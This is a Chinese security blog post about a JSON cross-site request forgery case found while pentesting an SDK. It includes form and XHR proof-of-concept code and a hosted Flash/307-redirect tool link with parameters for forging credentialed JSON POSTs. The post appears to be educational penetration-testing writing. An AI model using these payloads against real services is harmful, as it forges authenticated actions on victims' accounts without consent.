A-A+

JSON CSRF的一个案例-附利用链接

2018年09月19日 原创文章 暂无评论 阅读 5,869 views 次

这是最近的一个真实案例,所以某些地方对进行打码处理,算作对json csrf的一点研究吧,废话不多说,进入正题

对一个SDK进行渗透测试过程中发现,发现POST请求的data都使用json格式进行数据传输,该做的校验和过滤都做了,权限也做了很好的控制,难道就没问题了?感觉此处应该存在CSRF问题的,但是由于post的内容是json格式,而且对Content-Type也进行了限制,如下图:

尝试一、常规思路利用构造了如下代码:

<body>
<form action="http://test.com/aaa/bb" method="POST" enctype="text/plain">
<input type="hidden" name='{"k1":"v1","k2":"v2",...}  type="hidden" />
<input type="submit" value="Submit request" />
</form>
</body>

保存html,执行失败了,传输的json格式中,多了个“=”,由于服务端对post的数据进行json格式校验,此方式失败

尝试二、这个方法不行,于是想到了用xhr,又构造了如下利用代码:

<script type="text/javascript">
function jsonreq()
{
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST","http://test.com/aaa/bb",true);
xmlhttp.setRequestHeader("Content-Type","application/json;charset=UTF-8");
xmlhttp.withCredentials = "true";
xmlhttp.send(JSON.stringify({"k1":"v1","k2":"v2",...}));;
}
jsonreq();
</script>

经过测试这个代码依然不行,这里进行一下总结,发现这个接口对POST的数据和Content-type都进行格式校验,这个时候难道就不存在CSRF了吗?

经过一番搜索学习,发现可以借助flash,构造特殊的flash,利用307跳转来实现。

要求:

1 制作一个Flash文件

制作一个跨域XML文件

制作一个具有307状态码的PHP文件

 

这里节省时间就不引入制作这个flash的过程了,具体的实现其实有很多,思路是这样。做为菜鸟的我,发现已经有大牛造好轮子了,我们就不用重复了。而且我也将接口集成在博客里:

http://www.0xby.com/swf_json_csrf/test.swf?endpoint=http://test.com/aaa/bb/test.do&reqmethod=POST&ct=application/json;charset=UTF-8&jsonData={"k1":"v1","k2":"v2",....}&php_url=http://www.0xby.com/swf_json_csrf/test.php

最终实现跳转了,如图

这里需要说明一下使用方法,endpoint对应url地址,ct对应content-type, jsonData对应需要提交的json数据,就可以使用了,需要注意开启flash,某些高版本的flash 无法跳转的

博客已集成swf csrf tool  直达链接:http://www.0xby.com/swf_json_csrf/ui.html

参考链接:

https://www.cnblogs.com/blacksunny/p/7940287.html

https://github.com/sp1d3r/swf_json_csrf

 

标签:

给我留言